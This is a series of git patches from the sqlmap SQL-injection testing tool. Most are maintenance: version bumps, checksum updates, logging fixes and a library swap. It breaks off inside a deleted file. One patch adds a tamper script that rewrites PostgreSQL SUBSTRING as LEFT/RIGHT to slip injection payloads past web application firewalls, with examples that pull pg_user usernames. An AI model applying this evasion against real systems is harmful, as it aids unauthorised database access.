"authCred") diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7104cbc6924..48d8019a6e5 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -8996b4b377b859dc69de323416615f2f lib/core/common.py +a929b8d7bb1ad777e882fa21d1795d98 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -1ed091ad5a1a44ecff6809e8e3079644 lib/core/settings.py +eb07a9af69c00494766108efe4df86a7 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py From 9b9902bc6a55a670b00615723c613be6fe776942 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 7 Mar 2019 14:58:55 +0100 Subject: [PATCH 135/800] Fixes #3522 --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index eb140611c9a..2d34bd30126 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.11" +VERSION = "1.3.3.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 624a281934e..840514fe065 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -603,7 +603,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "".join(responseHeaders.headers).strip() + logHeaders = getUnicode("".join(responseHeaders.headers).strip()) logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) @@ -770,7 +770,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "".join(responseHeaders.headers).strip() + logHeaders = getUnicode("".join(responseHeaders.headers).strip()) if not skipLogTraffic: logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 48d8019a6e5..67859f7a868 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -eb07a9af69c00494766108efe4df86a7 lib/core/settings.py +011dfdf53d887c215e533be10a7bd69a lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -cc180a0770a564f8eb0a001775bf1900 lib/request/connect.py +162503172fa8678c8147fee6971e17f9 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From 2647ac9abb740f8cc41e0264c86c12ae7e1e4eb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 8 Mar 2019 15:49:56 +0100 Subject: [PATCH 136/800] Bug fix (less queries to make - patching the patch 3544793) --- lib/core/settings.py | 2 +- lib/techniques/union/test.py | 6 +++--- txt/checksum.md5 | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2d34bd30126..6676add37ee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.12" +VERSION = "1.3.3.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 2144ab6a080..6dfcafdc8d8 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -303,9 +303,9 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) - if count and orderBy is None and kb.orderByColumns is not None: # discard ORDER BY results (not usable - e.g. maybe invalid altogether) - conf.uChar, kb.uChar = uChars - validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) + if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) + conf.uChar, kb.uChar = uChars + validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 67859f7a868..033340d610e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -011dfdf53d887c215e533be10a7bd69a lib/core/settings.py +b4db7c3967f8c8daa5f32f1c5efd8b1b lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py @@ -100,7 +100,7 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py 7b58029a51b9bf989d18e5bb6e99635c lib/techniques/error/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py -9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py +54d077ef49056031fe746bcc53b1f081 lib/techniques/union/test.py e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py 8e9ddc7220f6beda89cc45c65e51e72b lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py From 729247fd95bfadee8f4ab58be49c8bb45b05f4e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Sun, 10 Mar 2019 14:49:22 +0100 Subject: [PATCH 137/800] Fixes #3525 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6676add37ee..24ba83a8124 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.13" +VERSION = "1.3.3.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 840514fe065..4d2402ff458 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -765,7 +765,7 @@ class _(dict): requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) - responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) else: responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 033340d610e..8f9570e39b3 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b4db7c3967f8c8daa5f32f1c5efd8b1b lib/core/settings.py +e0e8419f3e68202e2cb336544c83c6cc lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -162503172fa8678c8147fee6971e17f9 lib/request/connect.py +1ffa945c2f907b85a3ece90fb3c60d4f lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From a3fe4be6c58288333d7a1244460ce8afa16be5e5 Mon Sep 17 00:00:00 2001 From: tothi <tothi@users.noreply.github.com> Date: Mon, 11 Mar 2019 11:17:29 +0100 Subject: [PATCH 138/800] add new tamper script substring2leftright.py (#3527) --- tamper/substring2leftright.py | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 tamper/substring2leftright.py diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py new file mode 100644 index 00000000000..9eb3eea430b --- /dev/null +++ b/tamper/substring2leftright.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces PostgreSQL SUBSTRING with LEFT and RIGHT + + Tested against: + * PostgreSQL 9.6.12 + + Note: + * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) + + >>> tamper('SUBSTRING((X FROM 1 FOR 1))') + 'LEFT(X,1)' + >>> tamper('SUBSTRING((X FROM 5 FOR 1))') + 'LEFT(RIGHT(X,-4),1)' + """ + + retVal = payload + + if payload: + match = re.search(r"SUBSTRING\(\((.*)\sFROM\s(\d+)\sFOR\s1\)\)", payload) + + if match: + pos = int(match.group(2)) + if pos == 1: + _ = "LEFT((%s,1))" % (match.group(1)) + else: + _ = "LEFT(RIGHT((%s,%d),1))" % (match.group(1), 1-pos) + + retVal = retVal.replace(match.group(0), _) + + return retVal From f4338952ac05697a3588fe11a208ec70f93b02fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 11 Mar 2019 11:38:16 +0100 Subject: [PATCH 139/800] Minor update of #3527 --- lib/core/settings.py | 2 +- tamper/substring2leftright.py | 14 +++++++------- txt/checksum.md5 | 3 ++- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 24ba83a8124..c93c111ea7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.14" +VERSION = "1.3.3.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 9eb3eea430b..4ed890c0b7c 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -24,23 +24,23 @@ def tamper(payload, **kwargs): Note: * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) - >>> tamper('SUBSTRING((X FROM 1 FOR 1))') - 'LEFT(X,1)' - >>> tamper('SUBSTRING((X FROM 5 FOR 1))') - 'LEFT(RIGHT(X,-4),1)' + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') + 'LEFT((SELECT usename FROM pg_user)::text,1)' + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') + 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' """ retVal = payload if payload: - match = re.search(r"SUBSTRING\(\((.*)\sFROM\s(\d+)\sFOR\s1\)\)", payload) + match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) if match: pos = int(match.group(2)) if pos == 1: - _ = "LEFT((%s,1))" % (match.group(1)) + _ = "LEFT(%s,1)" % (match.group(1)) else: - _ = "LEFT(RIGHT((%s,%d),1))" % (match.group(1), 1-pos) + _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) retVal = retVal.replace(match.group(0), _) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8f9570e39b3..9a6e944fbb2 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -e0e8419f3e68202e2cb336544c83c6cc lib/core/settings.py +70d40f6779a871d6cd824aa8827426a8 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 0a5b0a97a36c19022665f66858fd7450 lib/core/target.py @@ -286,6 +286,7 @@ a308787c9dad835cb21498defcd218e6 tamper/space2mysqlblank.py dc99c639a9bdef91a4225d884c29bb40 tamper/space2plus.py 190bc9adca68e4a628298b78e8e455e8 tamper/space2randomblank.py eec5c82c86f5108f9e08fb4207a8a9b1 tamper/sp_password.py +abfdf3a9f02d0755b3c9db768bd87f9a tamper/substring2leftright.py 64b9486995d38c99786f7ceefa22fbce tamper/symboliclogical.py 08f2ce540ee1f73b6a211bffde18e697 tamper/unionalltounion.py 628f74fc6049dd1450c832cabb28e0da tamper/unmagicquotes.py From c7bb44b0a2c0121ecf700d315c3cf02b7fc3e3a0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 11 Mar 2019 14:36:01 +0100 Subject: [PATCH 140/800] Switching from old odict (non-concise ordering compared to collections) to ordereddict --- doc/THIRD-PARTY.md | 4 +- lib/core/common.py | 2 +- lib/core/datatype.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/basic.py | 2 +- lib/request/connect.py | 2 +- lib/techniques/union/use.py | 2 +- thirdparty/odict/__init__.py | 30 +- thirdparty/odict/odict.py | 1403 ------------------------------- thirdparty/odict/ordereddict.py | 127 +++ txt/checksum.md5 | 18 +- 12 files changed, 151 insertions(+), 1445 deletions(-) delete mode 100644 thirdparty/odict/odict.py create mode 100644 thirdparty/odict/ordereddict.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 2bf01b6ea02..5b3cbbf3b46 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -15,8 +15,6 @@ This file lists bundled packages and their associated licensing terms. Copyright (C) 2013, Jonathan Hartley. * The Fcrypt library located under thirdparty/fcrypt/. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The Odict library located under thirdparty/odict/. - Copyright (C) 2005, Nicola Larosa, Michael Foord. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. @@ -281,6 +279,8 @@ be bound by the terms and conditions of this License Agreement. * The bottle web framework library located under thirdparty/bottle/. Copyright (C) 2012, Marcel Hellkamp. +* The ordereddict library located under thirdparty/odict/. + Copyright (C) 2009, Raymond Hettinger. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/lib/core/common.py b/lib/core/common.py index 540de5be16a..6242ad4c877 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -177,7 +177,7 @@ from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict from thirdparty.termcolor.termcolor import colored class UnicodeRawConfigParser(RawConfigParser): diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 60407700e51..7fe562d507e 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,7 +8,7 @@ import copy import types -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict class AttribDict(dict): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index c93c111ea7e..f8fc002fff3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.15" +VERSION = "1.3.3.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 9d3ca9af01b..307a5c7d731 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -73,7 +73,7 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict def _setRequestParams(): """ diff --git a/lib/request/basic.py b/lib/request/basic.py index 884f4cdf2ff..bbc0400af79 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -47,7 +47,7 @@ from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict def forgeHeaders(items=None, base=None): """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 4d2402ff458..ed2ced44411 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -122,7 +122,7 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict from thirdparty.socks.socks import ProxyError class Connect(object): diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 7a8a24f9648..f4b0fa30e29 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -59,7 +59,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py index 1143598a32c..8571776ae42 100644 --- a/thirdparty/odict/__init__.py +++ b/thirdparty/odict/__init__.py @@ -1,26 +1,8 @@ #!/usr/bin/env python -# -# The BSD License -# -# Copyright 2003-2008 Nicola Larosa, Michael Foord -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# -pass +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from ordereddict import OrderedDict diff --git a/thirdparty/odict/odict.py b/thirdparty/odict/odict.py deleted file mode 100644 index ee7f2aa24f1..00000000000 --- a/thirdparty/odict/odict.py +++ /dev/null @@ -1,1403 +0,0 @@ -# odict.py -# An Ordered Dictionary object -# Copyright (C) 2005 Nicola Larosa, Michael Foord -# E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk - -# This software is licensed under the terms of the BSD license. -# http://www.voidspace.org.uk/python/license.shtml -# Basically you're free to copy, modify, distribute and relicense it, -# So long as you keep a copy of the license with it. - -# Documentation at http://www.voidspace.org.uk/python/odict.html -# For information about bugfixes, updates and support, please join the -# Pythonutils mailing list: -# http://groups.google.com/group/pythonutils/ -# Comments, suggestions and bug reports welcome. - -"""A dict that keeps keys in insertion order""" -from __future__ import generators - -__author__ = ('Nicola Larosa <nico-NoSp@m-tekNico.net>,' - 'Michael Foord <fuzzyman AT voidspace DOT org DOT uk>') - -__docformat__ = "restructuredtext en" - -__version__ = '0.2.2' - -__all__ = ['OrderedDict', 'SequenceOrderedDict'] - -import sys -INTP_VER = sys.version_info[:2] -if INTP_VER < (2, 2): - raise RuntimeError("Python v.2.2 or later required") - -import types, warnings - -class _OrderedDict(dict): - """ - A class of dictionary that keeps the insertion order of keys. - - All appropriate methods return keys, items, or values in an ordered way. - - All normal dictionary methods are available. Update and comparison is - restricted to other OrderedDict objects. - - Various sequence methods are available, including the ability to explicitly - mutate the key ordering. - - __contains__ tests: - - >>> d = OrderedDict(((1, 3),)) - >>> 1 in d - 1 - >>> 4 in d - 0 - - __getitem__ tests: - - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2] - 1 - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4] - Traceback (most recent call last): - KeyError: 4 - - __len__ tests: - - >>> len(OrderedDict()) - 0 - >>> len(OrderedDict(((1, 3), (3, 2), (2, 1)))) - 3 - - get tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.get(1) - 3 - >>> d.get(4) is None - 1 - >>> d.get(4, 5) - 5 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - - has_key tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.has_key(1) - 1 - >>> d.has_key(4) - 0 - """ - - def __init__(self, init_val=(), strict=False): - """ - Create a new ordered dictionary. Cannot init from a normal dict, - nor from kwargs, since items order is undefined in those cases. - - If the ``strict`` keyword argument is ``True`` (``False`` is the - default) then when doing slice assignment - the ``OrderedDict`` you are - assigning from *must not* contain any keys in the remaining dict. - - >>> OrderedDict() - OrderedDict([]) - >>> OrderedDict({1: 1}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> OrderedDict({1: 1}.items()) - OrderedDict([(1, 1)]) - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - >>> OrderedDict(d) - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - self.strict = strict - dict.__init__(self) - if isinstance(init_val, OrderedDict): - self._sequence = init_val.keys() - dict.update(self, init_val) - elif isinstance(init_val, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - self._sequence = [] - self.update(init_val) - -### Special methods ### - - def __delitem__(self, key): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> del d[3] - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> del d[3] - Traceback (most recent call last): - KeyError: 3 - >>> d[3] = 2 - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> del d[0:1] - >>> d - OrderedDict([(2, 1), (3, 2)]) - """ - if isinstance(key, types.SliceType): - # FIXME: efficiency? - keys = self._sequence[key] - for entry in keys: - dict.__delitem__(self, entry) - del self._sequence[key] - else: - # do the dict.__delitem__ *first* as it raises - # the more appropriate error - dict.__delitem__(self, key) - self._sequence.remove(key) - - def __eq__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d == OrderedDict(d) - True - >>> d == OrderedDict(((1, 3), (2, 1), (3, 2))) - False - >>> d == OrderedDict(((1, 0), (3, 2), (2, 1))) - False - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d == dict(d) - False - >>> d == False - False - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() == other.items()) - else: - return False - - def __lt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> c < d - True - >>> d < c - False - >>> d < dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() < other.items()) - - def __le__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c <= d - True - >>> d <= c - False - >>> d <= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> d <= e - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() <= other.items()) - - def __ne__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d != OrderedDict(d) - False - >>> d != OrderedDict(((1, 3), (2, 1), (3, 2))) - True - >>> d != OrderedDict(((1, 0), (3, 2), (2, 1))) - True - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d != dict(d) - True - >>> d != False - True - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return not (self.items() == other.items()) - else: - return True - - def __gt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> d > c - True - >>> c > d - False - >>> d > dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() > other.items()) - - def __ge__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c >= d - False - >>> d >= c - True - >>> d >= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> e >= d - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() >= other.items()) - - def __repr__(self): - """ - Used for __repr__ and __str__ - - >>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - >>> r1 